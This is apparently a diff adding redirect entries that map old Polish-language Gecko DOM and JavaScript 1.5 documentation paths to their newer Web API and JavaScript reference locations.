+/pl/docs/Dokumentacja_Gecko_DOM/window /pl/docs/Web/API/Window
+/pl/docs/Dokumentacja_Gecko_DOM:Przedmowa /pl/docs/Dokumentacja_Gecko_DOM/Przedmowa
+/pl/docs/Dokumentacja_Gecko_DOM:Przyk%C5%82ady_u%C5%BCycia_DOM /pl/docs/Dokumentacja_Gecko_DOM/Przyk%C5%82ady_u%C5%BCycia_DOM
+/pl/docs/Dokumentacja_Gecko_DOM:Wprowadzenie /pl/docs/Dokumentacja_Gecko_DOM/Wprowadzenie
+/pl/docs/Dokumentacja_Gecko_DOM:Wprowadzenie_do_DOM /pl/docs/Dokumentacja_Gecko_DOM/Wprowadzenie
+/pl/docs/Dokumentacja_Gecko_DOM:document /pl/docs/Web/API/Document
+/pl/docs/Dokumentacja_Gecko_DOM:element /pl/docs/Web/API/Element
+/pl/docs/Dokumentacja_Gecko_DOM:element.focus /pl/docs/Web/API/Element/focus
+/pl/docs/Dokumentacja_Gecko_DOM:element:appendChild /pl/docs/Web/API/Element/appendChild
+/pl/docs/Dokumentacja_Gecko_DOM:element:blur /pl/docs/Web/API/Element/blur
+/pl/docs/Dokumentacja_Gecko_DOM:element:cloneNode /pl/docs/Web/API/Element/clientNode
+/pl/docs/Dokumentacja_Gecko_DOM:element:focus /pl/docs/Web/API/Element/focus
+/pl/docs/Dokumentacja_Gecko_DOM:element:getAttribute /pl/docs/Web/API/Element/getAttribute
+/pl/docs/Dokumentacja_Gecko_DOM:element:setAttribute /pl/docs/Web/API/Element/setAttribute
+/pl/docs/Dokumentacja_Gecko_DOM:window /pl/docs/Web/API/Window
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5 /pl/docs/Web/JavaScript/Referencje
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/Boolean /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/Date /pl/docs/Web/JavaScript/Referencje/Obiekty/Date
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/Number /pl/docs/Web/JavaScript/Referencje/Obiekty/Number
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/Object /pl/docs/Web/JavaScript/Referencje/Obiekty/Object
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/String /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/arguments /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/arguments/callee /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments/callee
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/arguments/caller /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments/caller
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/arguments/length /pl/docs/Web/JavaScript/Referencje/Funkcje/arguments/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/decodeURI /pl/docs/Web/JavaScript/Referencje/Obiekty/decodeURI
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/decodeURIComponent /pl/docs/Web/JavaScript/Referencje/Obiekty/decodeURIComponent
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/encodeURI /pl/docs/Web/JavaScript/Referencje/Obiekty/encodeURI
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/encodeURIComponent /pl/docs/Web/JavaScript/Referencje/Obiekty/encodeURIComponent
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/eval /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/eval
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/isFinite /pl/docs/Web/JavaScript/Referencje/Obiekty/isFinite
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/isNaN /pl/docs/Web/JavaScript/Referencje/Obiekty/isNaN
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/parseFloat /pl/docs/Web/JavaScript/Referencje/Obiekty/parseFloat
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Funkcje/parseInt /pl/docs/Web/JavaScript/Referencje/Obiekty/parseInt
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Komentarze /pl/docs/Web/JavaScript/Referencje/Komentarz
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Komentarze/komentarz /pl/docs/Web/JavaScript/Referencje/Komentarz
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/LiveConnect /pl/docs/Web/JavaScript/Referencje/LiveConnect
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/LiveConnect/JSException /pl/docs/Web/JavaScript/Referencje/LiveConnect/JSException
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/LiveConnect/JSObject /pl/docs/Web/JavaScript/Referencje/LiveConnect/JSObject
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/O_tym_dokumencie /pl/docs/Web/JavaScript/Referencje/O_tym_dokumencie
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/O_tym_dokumencie/Konwencje_formatowania_tekstu /pl/docs/Web/JavaScript/Referencje/O_tym_dokumencie/Konwencje_formatowania_tekstu
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array /pl/docs/Web/JavaScript/Referencje/Obiekty/Array
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/concat /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/concat
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Array
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/every /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/every
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/filter /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/filter
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/forEach /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/forEach
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/index /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/index
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/indexOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/indexOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/input /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/input
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/join /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/join
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/lastIndexOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/lastIndexOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/length /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/map /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/map
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/pop /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/pop
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/push /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/push
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/reverse /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/reverse
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/shift /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/shift
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/slice /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/slice
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/some /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/some
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/sort /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/sort
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/splice /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/splice
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/unshift /pl/docs/Web/JavaScript/Referencje/Obiekty/Array/unshift
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Array/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Boolean/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Boolean/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date /pl/docs/Web/JavaScript/Referencje/Obiekty/Date
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/UTC /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/UTC
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/constructor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getDate
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getDay /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getDay
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getFullYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getHours
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getMilliseconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getMinutes
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getMonth
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getSeconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getTime /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getTime
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getTimezoneOffset /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getTimezoneOffset
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCDate
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCDay /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCDay
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCFullYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCHours
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCMilliseconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCMinutes
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCMonth
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getUTCSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getUTCSeconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/getYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/getYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/now /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/now
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/parse /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/parse
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setDate
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setFullYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setHours
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setMilliseconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setMinutes
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setMonth
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setSeconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setTime /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setTime
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCDate /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCDate
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCFullYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCFullYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCHours /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCHours
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCMilliseconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCMilliseconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCMinutes /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCMinutes
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCMonth /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCMonth
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setUTCSeconds /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setUTCSeconds
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/setYear /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/setYear
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toGMTString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toGMTString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toLocaleDateString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toLocaleString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toLocaleTimeString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/toUTCString /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toUTCString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Date/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/arguments /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/arguments
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/arity /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/arity
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/caller /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/caller
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Function
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/length /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Function/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Function/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaArray /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaArray
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaArray/length /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaArray/length
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaArray/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaArray/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaClass /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaClass
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaObject /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaObject
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/JavaPackage /pl/docs/Web/JavaScript/Referencje/Obiekty/JavaPackage
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math /pl/docs/Web/JavaScript/Referencje/Obiekty/Math
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/E /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/E
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/LN10 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LN10
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/LN2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LN2
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/LOG10E /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LOG10E
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/LOG2E /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/LOG2E
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/PI /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/PI
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/SQRT1_2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/SQRT1_2
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/SQRT2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/SQRT2
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/abs /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/abs
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/acos /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/acos
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/asin /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/asin
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/atan /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/atan
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/atan2 /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/atan2
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/ceil /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/ceil
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/cos /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/cos
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/exp /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/exp
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/floor /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/floor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/log /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/log
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/max /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/max
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/min /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/min
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/pow /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/pow
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/random /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/random
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/round /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/round
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/sin /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/sin
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/sqrt /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/sqrt
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Math/tan /pl/docs/Web/JavaScript/Referencje/Obiekty/Math/tan
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number /pl/docs/Web/JavaScript/Referencje/Obiekty/Number
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/MAX_VALUE /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/MAX_VALUE
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/MIN_VALUE /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/MIN_VALUE
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/NEGATIVE_INFINITY /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/NEGATIVE_INFINITY
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/NaN /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/NaN
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/POSITIVE_INFINITY /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/POSITIVE_INFINITY
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/constructor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/toExponential /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toExponential
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/toFixed /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toFixed
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/toPrecision /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toPrecision
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Number/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Number/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object /pl/docs/Web/JavaScript/Referencje/Obiekty/Object
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/constructor
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/eval /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/eval
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toLocaleString /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/toLocaleString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/toSource
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/toString
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/unwatch /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/unwatch
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/valueOf
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Object/watch /pl/docs/Web/JavaScript/Referencje/Obiekty/Object/watch
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages/java /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/java
